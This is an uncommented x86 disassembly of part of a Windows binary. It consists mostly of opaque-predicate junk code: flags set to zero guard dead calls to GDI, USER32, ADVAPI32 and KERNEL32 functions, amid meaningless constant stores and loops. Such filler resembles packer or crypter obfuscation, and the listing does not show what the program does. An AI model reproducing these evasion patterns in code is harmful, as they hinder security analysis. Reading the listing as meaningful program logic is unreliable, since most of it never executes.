call dword [sym.imp.GDI32.dll_MaskBlt]
mov byte [ebp - 0x459], 0
movzx eax, byte [ebp - 0x459]
test eax, eax
je 0x47d524
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
jmp 0x47d494
mov dword [ebp - 0x288], 0x25004286
mov dword [ebp - 0x1dfc], 0xe0cf
mov dword [ebp - 0x934], 0
jmp 0x47d556
mov eax, dword [ebp - 0x934]
inc eax
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x934], 1
jge 0x47d572
mov eax, dword [ebp - 0x934]
mov dword [ebp + eax*4 - 0x3300], 0xfffd
jmp 0x47d549
mov byte [ebp - 0x2f5], 0
movzx eax, byte [ebp - 0x2f5]
test eax, eax
je 0x47d58e
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
mov eax, dword [ebp - 0x1dfc]
inc eax
mov dword [ebp - 0x1dfc], eax
mov dword [ebp - 0x94], 0xb9a67b9c
mov dword [ebp - 0x2b4c], 0xb57fd546
mov dword [ebp - 0x2b48], 0xb57fd546
mov dword [ebp - 0x2b44], 0xb57fd546
mov dword [ebp - 0x2b40], 0xb57fd546
mov dword [ebp - 0x93c], 0x6d444182
mov dword [ebp - 0x3308], 0xec6e54ee
mov dword [ebp - 0x3310], 0x457d6700
mov dword [ebp - 0x26f0], 0xa2f3817d
mov dword [ebp - 0x744], 0
jmp 0x47d60e
mov eax, dword [ebp - 0x744]
inc eax
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 1
jge 0x47d62a
mov eax, dword [ebp - 0x744]
mov dword [ebp + eax*4 - 0x1188], 0x368a
jmp 0x47d601
mov dword [ebp - 0x93c], 3
jmp 0x47d643
mov eax, dword [ebp - 0x93c]
dec eax
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 0
jl 0x47d7dd
mov dword [ebp - 0x3318], 0
mov dword [ebp - 0x74c], 0
jmp 0x47d673
mov eax, dword [ebp - 0x74c]
inc eax
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x74c], 1
jge 0x47d68f
mov eax, dword [ebp - 0x74c]
mov dword [ebp + eax*4 - 0x5a8], 0xa1bf2b29
jmp 0x47d666
mov byte [ebp - 0x34d], 0
movzx eax, byte [ebp - 0x34d]
test eax, eax
je 0x47d6bf
push 0x1d2f
push 0x739
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x5a8], 0
jmp 0x47d6ed
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5a8], 3
jg 0x47d7d8
mov dword [ebp - 0x3320], 2
mov dword [ebp - 0x3328], 0xfffffffd
mov dword [ebp - 0x232c], 0xfffffffe
mov dword [ebp - 0x944], 0
jmp 0x47d738
cmp dword [ebp - 0x944], 3
jge 0x47d754
mov eax, dword [ebp - 0x944]
mov dword [ebp + eax*4 - 0x36c8], 0x7cc42477
jmp 0x47d72b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5a8]
cmp dword [ebp + eax*4 - 0x2b4c], 0
je 0x47d7bb
jmp 0x47d636
mov dword [ebp - 0x640], 0x7ad
mov dword [ebp - 0x190], 0x256915a
mov dword [ebp - 0x660], 0x51ebf0dd
mov dword [ebp - 0x25a4], 0x542afa01
mov dword [ebp - 0x23c], 0
jmp 0x47d81e
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 1
jge 0x47d83a
mov eax, dword [ebp - 0x23c]
mov dword [ebp + eax*4 - 0x19b8], 0
jmp 0x47d811
mov dword [ebp - 0x23c], 0
jmp 0x47d853
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 3
jge 0x47d86f
mov eax, dword [ebp - 0x23c]
mov dword [ebp + eax*4 - 0x352c], 5
jmp 0x47d846
mov dword [ebp - 0x190], 0
jmp 0x47d888
cmp dword [ebp - 0x190], 0
jl 0x47d972
mov dword [ebp - 0x754], 0
jmp 0x47d8ae
cmp dword [ebp - 0x754], 1
jge 0x47d8ca
mov dword [ebp - 0x190], 0xffffffef
jmp 0x47d98b
cmp dword [ebp - 0x190], 0x1b
jle 0x47d9eb
cmp dword [ebp + 8], 1
jne 0x48ee46
mov dword [ebp - 0x3374], 1
mov byte [ebp - 0x33e], 0
movzx eax, byte [ebp - 0x33e]
test eax, eax
je 0x48cd03
push 0
push 0x2282
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov byte [ebp - 0x340], 0
movzx eax, byte [ebp - 0x340]
test eax, eax
je 0x48cd21
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
mov dword [ebp - 0xc0], 0xfffffff8
mov dword [ebp - 0x720], 0
jmp 0x48cd44
mov eax, dword [ebp - 0x720]
inc eax
mov dword [ebp - 0x720], eax
cmp dword [ebp - 0x720], 1
jge 0x48cd60
mov eax, dword [ebp - 0x720]
mov dword [ebp + eax*4 - 0xf0], 0xfffffffa
jmp 0x48cd37
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xf0], 0xfffffff3
jmp 0x48cd8e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xf0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf0], 0xffffffed
je 0x48cdb2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf0], 0
je 0x48cdb0
jmp 0x48cdb2
jmp 0x48cd73
mov dword [ebp - 0xc0], 0
jmp 0x48cdcb
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jg 0x48d060
mov dword [ebp - 0x1a4], 1
mov dword [ebp - 0x1924], 0x4bda99da
mov dword [ebp - 0x1a4], 0
jmp 0x48ce05
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0
jg 0x48d05b
mov dword [ebp - 0x458], 0xffffffff
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0xf0]
mov dword [ebp - 0x2fc8], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0xf0]
cmp dword [ebp - 0xc0], eax
jge 0x48ce50
mov dword [ebp - 0x18fc], 1
jmp 0x48ce57
and dword [ebp - 0x18fc], 0
mov eax, dword [ebp - 0x18fc]
neg eax
cmp dword [ebp - 0x1a4], eax
je 0x48ce9b
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x3234], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x2fd0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf0], 0
je 0x48ce9b
mov dword [ebp - 0x1904], 1
jmp 0x48cea2
and dword [ebp - 0x1904], 0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x1904]
mov dword [ebp + eax*4 - 0xf0], ecx
mov eax, dword [ebp - 0x458]
cmp dword [ebp - 0x1a4], eax
jne 0x48cecf
mov dword [ebp - 0x2440], 1
jmp 0x48ced6
and dword [ebp - 0x2440], 0
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x330c], eax
xor eax, eax
jne 0x48ceff
mov eax, dword [ebp - 0xc0]
cmp dword [ebp + eax*4 - 0xf0], 0
jne 0x48ceff
and dword [ebp - 0x190c], 0
jmp 0x48cf09
mov dword [ebp - 0x190c], 1
mov eax, dword [ebp - 0x458]
add eax, dword [ebp - 0x190c]
jne 0x48cf27
push 7
pop eax
test eax, eax
jne 0x48cf27
and dword [ebp - 0x1914], 0
jmp 0x48cf31
mov dword [ebp - 0x1914], 1
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x1914], eax
jl 0x48cf4b
mov dword [ebp - 0x191c], 1
jmp 0x48cf52
and dword [ebp - 0x191c], 0
mov eax, dword [ebp - 0x191c]
mov dword [ebp - 0x1924], eax
cmp dword [ebp - 0x1924], 0
jbe 0x48cf73
mov dword [ebp - 0x192c], 1
jmp 0x48cf7a
and dword [ebp - 0x192c], 0
mov eax, dword [ebp - 0x1a4]
cmp dword [ebp - 0x192c], eax
jl 0x48cf94
mov dword [ebp - 0x1934], 1
jmp 0x48cf9b
and dword [ebp - 0x1934], 0
cmp dword [ebp - 0x1934], 7
jne 0x48cfb0
mov dword [ebp - 0x193c], 1
jmp 0x48cfb7
and dword [ebp - 0x193c], 0
mov eax, dword [ebp - 0x458]
cmp dword [ebp - 0x193c], eax
jne 0x48cfd1
mov dword [ebp - 0x1944], 1
jmp 0x48cfd8
and dword [ebp - 0x1944], 0
cmp dword [ebp - 0x1944], 0
je 0x48d030
mov dword [ebp - 0x194c], 0x72b752bf
mov eax, dword [ebp - 0x194c]
dec eax
mov dword [ebp - 0x194c], eax
mov dword [ebp - 0x458], 0
jmp 0x48d011
mov eax, dword [ebp - 0x458]
dec eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0
jl 0x48d02e
mov eax, dword [ebp - 0x1a4]
cmp dword [ebp + eax*4 - 0xf0], 0
je 0x48d02c
jmp 0x48d02e
jmp 0x48d004
jmp 0x48d056
mov byte [ebp - 0x342], 0
movzx eax, byte [ebp - 0x342]
test eax, eax
je 0x48d056
push 0
push 0xb58
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
jmp 0x48cdf8
jmp 0x48cdbe
mov dword [ebp - 0x614], 0xffffffff
mov dword [ebp - 0x728], 0
jmp 0x48d083
mov eax, dword [ebp - 0x728]
inc eax
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 1
jge 0x48d09f
mov eax, dword [ebp - 0x728]
mov dword [ebp + eax*4 - 0x2448], 0xffffffff
jmp 0x48d076
mov dword [ebp - 0x614], 0
jmp 0x48d0b8
mov eax, dword [ebp - 0x614]
dec eax
mov dword [ebp - 0x614], eax
cmp dword [ebp - 0x614], 0
jl 0x48d109
mov dword [ebp - 0x730], 6
mov dword [ebp - 0x730], 0
jmp 0x48d0e4
mov eax, dword [ebp - 0x730]
inc eax
mov dword [ebp - 0x730], eax
cmp dword [ebp - 0x730], 0
jg 0x48d107
mov byte [ebp - 0x344], 0
movzx eax, byte [ebp - 0x344]
test eax, eax
je 0x48d105
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
jmp 0x48d0d7
jmp 0x48d0ab
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2448]
mov dword [ebp - 0x614], eax
mov dword [ebp - 0xd8], 0x91a049fe
mov dword [ebp - 0xa4], 0xfffffffc
mov dword [ebp - 0x1954], 0xdc2a82a1
mov dword [ebp - 0x2fd8], 0
mov dword [ebp - 0x323c], 0xffffffff
mov dword [ebp - 0x2fe0], 5
mov dword [ebp - 0x33ac], 0xffffffff
mov dword [ebp - 0x198c], 0x91b0
mov dword [ebp - 0x738], 0
jmp 0x48d185
mov eax, dword [ebp - 0x738]
inc eax
mov dword [ebp - 0x738], eax
cmp dword [ebp - 0x738], 1
jge 0x48d1a1
mov eax, dword [ebp - 0x738]
mov dword [ebp + eax*4 - 0x2450], 0x5059
jmp 0x48d178
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2450], 0x462751c7
cmp dword [ebp - 0xa4], 0x462751c7
jne 0x48d1ca
mov dword [ebp - 0x1964], 1
jmp 0x48d1d1
and dword [ebp - 0x1964], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x2fe8], eax
cmp dword [ebp - 0xa4], 0
je 0x48d1fb
cmp dword [ebp - 0xa4], 0
je 0x48d1fb
mov dword [ebp - 0x195c], 1
jmp 0x48d202
and dword [ebp - 0x195c], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x1954], eax
mov eax, dword [ebp - 0x1954]
mov ecx, dword [ebp - 0x195c]
sub ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0xa4]
add eax, ecx
cmp eax, 0xbc04
jne 0x48d23b
mov dword [ebp - 0x196c], 1
jmp 0x48d242
and dword [ebp - 0x196c], 0
mov eax, dword [ebp - 0x1964]
cmp eax, dword [ebp - 0x196c]
jge 0x48d25c
mov dword [ebp - 0x1974], 1
jmp 0x48d263
and dword [ebp - 0x1974], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x1974], eax
jl 0x48d27d
mov dword [ebp - 0x197c], 1
jmp 0x48d284
and dword [ebp - 0x197c], 0
cmp dword [ebp - 0x197c], 0xe0be
jge 0x48d29c
mov dword [ebp - 0x1984], 1
jmp 0x48d2a3
and dword [ebp - 0x1984], 0
mov eax, dword [ebp - 0x1984]
sub eax, 0x51a9
je 0x48d345
mov byte [ebp - 0x346], 0
movzx eax, byte [ebp - 0x346]
test eax, eax
je 0x48d2d8
push 0
push 0x22a0
push 0x205b
call dword [sym.imp.GDI32.dll_CreatePen]
mov dword [ebp - 0xa4], 0x17
jmp 0x48d2f1
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x10
jge 0x48d340
mov dword [ebp - 0x2458], 0xfffffffc
mov byte [ebp - 0x348], 0
movzx eax, byte [ebp - 0x348]
test eax, eax
je 0x48d334
push 0x1d2f
push 0x739
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
mov dword [ebp - 0x2458], 0xdbf0cf86
jmp 0x48d2e4
jmp 0x48d41d
mov dword [ebp - 0x3244], 0xed562b99
mov dword [ebp - 0x61c], 0xbb75da2c
mov dword [ebp - 0x2ff0], 0x2c920859
mov dword [ebp - 0x2adc], 0
mov dword [ebp - 0x2ad8], 0
mov dword [ebp - 0x2ad4], 0
mov dword [ebp - 0x2ad0], 0
mov dword [ebp - 0x3314], 0xfffffffd
mov eax, dword [ebp - 0x198c]
inc eax
mov dword [ebp - 0x198c], eax
mov dword [ebp - 0x61c], 3
jmp 0x48d3bb
mov eax, dword [ebp - 0x61c]
dec eax
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 0
jl 0x48d41d
mov eax, dword [ebp - 0x61c]
mov dword [ebp + eax*4 - 0x2adc], 0xfe57b6a6
mov byte [ebp - 0x34a], 0
movzx eax, byte [ebp - 0x34a]
test eax, eax
je 0x48d41b
push 0
push 0x232e
push 0x1eba
push 0x9c4
push 0x1d61
push 0x12fc
push 0x1c47
push 0xda1
push 0x10bc
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
jmp 0x48d3ae
mov dword [ebp - 0x68], 0x8cff0ea7
mov dword [ebp - 0x29e4], 0xfffffffa
mov dword [ebp - 0x29e0], 0xfffffffa
mov dword [ebp - 0x29dc], 0xfffffffa
mov dword [ebp - 0x29d8], 0xfffffffa
mov dword [ebp - 0x2ff8], 1
mov dword [ebp - 0x68], 0xfffffff6
jmp 0x48d466
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xffffffeb
jge 0x48d670
mov dword [ebp - 0x2a9c], 0xf8256a9e
mov dword [ebp - 0x2a98], 0xf8256a9e
mov dword [ebp - 0x2a94], 0xf8256a9e
mov dword [ebp - 0x2a90], 0xf8256a9e
mov dword [ebp - 0x534], 0
cmp dword [ebp - 0x68], 0
je 0x48d4ad
jmp 0x48d670
mov dword [ebp - 0x534], 3
jmp 0x48d4c6
mov eax, dword [ebp - 0x534]
dec eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0
jl 0x48d66b
mov dword [ebp - 0x1994], 5
mov dword [ebp - 0x740], 0
jmp 0x48d4f6
mov eax, dword [ebp - 0x740]
inc eax
mov dword [ebp - 0x740], eax
cmp dword [ebp - 0x740], 1
jge 0x48d512
mov eax, dword [ebp - 0x740]
mov dword [ebp + eax*4 - 0x2460], 0xffffffff
jmp 0x48d4e9
cmp dword [ebp - 0x68], 0
je 0x48d624
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x1994], eax
cmp dword [ebp - 0x1994], 0
jne 0x48d53d
cmp dword [ebp - 0x68], 0
jne 0x48d53d
and dword [ebp - 0x199c], 0
jmp 0x48d547
mov dword [ebp - 0x199c], 1
cmp dword [ebp - 0x199c], 0xffd8
jg 0x48d55f
mov dword [ebp - 0x19a4], 1
jmp 0x48d566
and dword [ebp - 0x19a4], 0
mov eax, dword [ebp - 0x534]
mov eax, dword [ebp + eax*4 - 0x2a9c]
cmp dword [ebp - 0x19a4], eax
je 0x48d587
mov dword [ebp - 0x19bc], 1
jmp 0x48d58e
and dword [ebp - 0x19bc], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x19bc], eax
je 0x48d5a5
mov dword [ebp - 0x19c4], 1
jmp 0x48d5ac
and dword [ebp - 0x19c4], 0
mov eax, dword [ebp - 0x68]
imul eax, dword [ebp - 0x19c4]
test eax, eax
je 0x48d5cc
cmp dword [ebp - 0x68], 0
je 0x48d5cc
mov dword [ebp - 0x19cc], 1
jmp 0x48d5d3
and dword [ebp - 0x19cc], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x19cc]
jle 0x48d5ea
mov dword [ebp - 0x19d4], 1
jmp 0x48d5f1
and dword [ebp - 0x19d4], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x19d4], eax
jg 0x48d608
mov dword [ebp - 0x19dc], 1
jmp 0x48d60f
and dword [ebp - 0x19dc], 0
cmp dword [ebp - 0x19dc], 0xffffffff
jle 0x48d624
mov dword [ebp - 0x19e4], 1
jmp 0x48d62b
and dword [ebp - 0x19e4], 0
mov eax, dword [ebp - 0x534]
mov eax, dword [ebp + eax*4 - 0x2a9c]
cmp eax, dword [ebp - 0x19e4]
jg 0x48d64c
mov dword [ebp - 0x19ec], 1
jmp 0x48d653
and dword [ebp - 0x19ec], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x19ec]
mov dword [ebp + eax - 0x2460], ecx
jmp 0x48d4b9
jmp 0x48d45f
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x324c], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0x29e4]
mov dword [ebp + ecx - 0x29e4], eax
mov dword [ebp - 0x748], 0
jmp 0x48d6ac
mov eax, dword [ebp - 0x748]
inc eax
mov dword [ebp - 0x748], eax
cmp dword [ebp - 0x748], 1
jge 0x48d6c8
mov eax, dword [ebp - 0x748]
mov dword [ebp + eax*4 - 0x1a94], 0xfffffff8
jmp 0x48d69f
mov dword [ebp - 0x750], 0xe1757117
mov dword [ebp - 0x28cc], 0xfffffffa
mov dword [ebp - 0x28c8], 0xfffffffa
mov dword [ebp - 0x28c4], 0xfffffffa
mov dword [ebp - 0x28c0], 0xfffffffa
mov dword [ebp - 0x2470], 0
mov dword [ebp - 0x750], 0x14
jmp 0x48d71d
mov eax, dword [ebp - 0x750]
dec eax
mov dword [ebp - 0x750], eax
cmp dword [ebp - 0x750], 0xfffffff6
jle 0x48d896
mov dword [ebp - 0x1ac], 0xad4351cd
mov byte [ebp - 0x34c], 0
movzx eax, byte [ebp - 0x34c]
test eax, eax
je 0x48d75f
push 0x18c9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
mov dword [ebp - 0x1ac], 3
jmp 0x48d778
mov eax, dword [ebp - 0x1ac]
dec eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
jl 0x48d891
mov dword [ebp - 0x624], 1
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x3000], eax
cmp dword [ebp - 0x624], 0
jb 0x48d7b0
mov dword [ebp - 0x2468], 1
jmp 0x48d7b7
and dword [ebp - 0x2468], 0
imul eax, dword [ebp - 0x624], 0x4952
test eax, eax
jne 0x48d7d7
cmp dword [ebp - 0x624], 0
jne 0x48d7d7
and dword [ebp - 0x19f4], 0
jmp 0x48d7e1
mov dword [ebp - 0x19f4], 1
mov eax, dword [ebp - 0x1ac]
cmp dword [ebp - 0x19f4], eax
jle 0x48d7fb
mov dword [ebp - 0x19fc], 1
jmp 0x48d802
and dword [ebp - 0x19fc], 0
mov eax, dword [ebp - 0x624]
add eax, dword [ebp - 0x19fc]
je 0x48d825
mov eax, 0x94bb
test eax, eax
je 0x48d825
mov dword [ebp - 0x1a04], 1
jmp 0x48d82c
and dword [ebp - 0x1a04], 0
mov eax, dword [ebp - 0x1ac]
mov eax, dword [ebp + eax*4 - 0x28cc]
mov dword [ebp - 0x1a0c], eax
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x1a0c]
mov dword [ebp + eax*4 - 0x28cc], ecx
mov eax, dword [ebp - 0x1ac]
imul eax, dword [ebp - 0x1a04]
cmp dword [ebp - 0x1a0c], eax
jne 0x48d873
mov dword [ebp - 0x1a14], 1
jmp 0x48d87a
and dword [ebp - 0x1a14], 0
mov eax, dword [ebp - 0x1a14]
sub eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x2470], eax
jmp 0x48d76b
jmp 0x48d710
mov dword [ebp - 0xd8], 0
jmp 0x48d8af
cmp dword [ebp - 0xd8], 0x12
jl 0x48e11c
mov dword [ebp - 0x62c], 0xfffb
mov dword [ebp - 0x758], 0
jmp 0x48d8df
mov eax, dword [ebp - 0x758]
inc eax
mov dword [ebp - 0x758], eax
cmp dword [ebp - 0x758], 2
jge 0x48d8fb
mov eax, dword [ebp - 0x758]
mov dword [ebp + eax*4 - 0x2f54], 1
jmp 0x48d8d2
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x62c]
mov dword [ebp + eax - 0x2f54], ecx
mov dword [ebp - 0x62c], 0
jmp 0x48d927
mov eax, dword [ebp - 0x62c]
inc eax
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 1
jg 0x48d98e
mov byte [ebp - 0x34e], 0
movzx eax, byte [ebp - 0x34e]
test eax, eax
je 0x48d95c
push 0x2413
push 0x1f48
push 0x1892
push 0x1ad9
call dword [sym.imp.GDI32.dll_CreateRectRgn]
mov byte [ebp - 0x350], 0
movzx eax, byte [ebp - 0x350]
test eax, eax
je 0x48d98c
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
jmp 0x48d91a
mov dword [ebp - 0x460], 0x22124f84
mov dword [ebp - 0x768], 0
mov dword [ebp - 0x337c], 1
mov dword [ebp - 0x760], 0
jmp 0x48d9c5
mov eax, dword [ebp - 0x760]
inc eax
mov dword [ebp - 0x760], eax
cmp dword [ebp - 0x760], 2
jge 0x48d9e1
mov eax, dword [ebp - 0x760]
mov dword [ebp + eax*4 - 0x35f0], 0x862fd41e
jmp 0x48d9b8
mov dword [ebp - 0x768], 1
jmp 0x48d9fa
mov eax, dword [ebp - 0x768]
dec eax
mov dword [ebp - 0x768], eax
cmp dword [ebp - 0x768], 0
jl 0x48dac0
mov dword [ebp - 0x22b4], 0xfffffffe
mov dword [ebp - 0x22b0], 0xfffffffe
mov dword [ebp - 0x22ac], 0xfffffffe
mov dword [ebp - 0x22a8], 0xfffffffe
mov dword [ebp - 0x3008], 1
mov dword [ebp - 0x3254], 0x95a97963
mov byte [ebp - 0x352], 0
movzx eax, byte [ebp - 0x352]
test eax, eax
je 0x48da64
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x22b4], 1
jmp 0x48da92
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x22b4]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x22b4], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x22b4], 0
jl 0x48dabb
mov dword [ebp - 0x1a1c], 0xa0d461e3
mov eax, dword [ebp - 0x1a1c]
inc eax
mov dword [ebp - 0x1a1c], eax
jmp 0x48da77
jmp 0x48d9ed
mov dword [ebp - 0x2488], 5
mov dword [ebp - 0xf8], 0xffffffff
mov dword [ebp - 0xd0], 5
mov dword [ebp - 0x1a64], 0x9052196d
mov dword [ebp - 0xb30], 0xb4dbdf90
mov dword [ebp - 0x1b4], 0
jmp 0x48db0b
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 2
jge 0x48db27
mov eax, dword [ebp - 0x1b4]
mov dword [ebp + eax*4 - 0xc64], 0x102071b1
jmp 0x48dafe
mov dword [ebp - 0x1b4], 0
jmp 0x48db40
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 2
jge 0x48db5c
mov eax, dword [ebp - 0x1b4]
mov dword [ebp + eax*4 - 0x2f60], 0x945c66b3
jmp 0x48db33
mov dword [ebp - 0xf8], 0
jmp 0x48db75
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 1
jg 0x48dd2b
mov dword [ebp - 0x2264], 0x38462751
mov dword [ebp - 0x2260], 0x38462751
mov dword [ebp - 0x225c], 0x38462751
mov dword [ebp - 0x2258], 0x38462751
mov dword [ebp - 0x3010], 0
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2264], 1
jmp 0x48dbe2
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2264]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2264], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2264], 0
jl 0x48dd26
mov dword [ebp - 0x331c], 0x33c22515
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2264], 0x34678dc2
je 0x48dc1f
mov dword [ebp - 0x1a24], 1
jmp 0x48dc26
and dword [ebp - 0x1a24], 0
cmp dword [ebp - 0x1a24], 0x215e
je 0x48dc51
mov byte [ebp - 0x354], 0
movzx eax, byte [ebp - 0x354]
test eax, eax
je 0x48dc4c
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x48dcec
mov dword [ebp - 0x770], 1
mov dword [ebp - 0x770], 0
jmp 0x48dc74
mov eax, dword [ebp - 0x770]
inc eax
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 1
jg 0x48dcec
mov dword [ebp - 0x778], 0
jmp 0x48dc96
mov eax, dword [ebp - 0x778]
inc eax
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 4
jge 0x48dcb2
mov eax, dword [ebp - 0x778]
mov dword [ebp + eax*4 - 0x3784], 3
jmp 0x48dc89
mov byte [ebp - 0x356], 0
movzx eax, byte [ebp - 0x356]
test eax, eax
je 0x48dcda
push 0
push 0
push 0x175a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
jmp 0x48dc67
mov dword [ebp - 0xd0], 0
jmp 0x48dd05
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x48dd21
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0xc64], 0x27359b50
jmp 0x48dcf8
jmp 0x48dbc7
jmp 0x48db68
mov eax, dword [ebp - 0xf8]
push 5
pop ecx
sub ecx, dword [ebp - 0xf8]
sub eax, ecx
cmp eax, 3
jb 0x48dd4d
mov dword [ebp - 0x1a2c], 1
jmp 0x48dd54
and dword [ebp - 0x1a2c], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x1a2c], eax
je 0x48dd6e
mov dword [ebp - 0x1a34], 1
jmp 0x48dd75
and dword [ebp - 0x1a34], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc64]
add eax, dword [ebp - 0x1a34]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xc64]
jl 0x48dda3
mov dword [ebp - 0x1a3c], 1
jmp 0x48ddaa
and dword [ebp - 0x1a3c], 0
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0x1a3c]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xc64]
jl 0x48ddd1
mov dword [ebp - 0x1a44], 1
jmp 0x48ddd8
and dword [ebp - 0x1a44], 0
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x1a44]
sub ecx, dword [ebp - 0xf8]
push 4
pop edx
shl edx, 0
add ecx, dword [ebp + edx - 0xc64]
sub eax, ecx
add eax, 0x30f
cmp eax, 0x25a4
je 0x48de16
xor eax, eax
inc eax
je 0x48de16
mov dword [ebp - 0x1a4c], 1
jmp 0x48de1d
and dword [ebp - 0x1a4c], 0
mov eax, dword [ebp - 0x1a4c]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jne 0x48de3e
mov dword [ebp - 0xb28], 1
jmp 0x48de45
and dword [ebp - 0xb28], 0
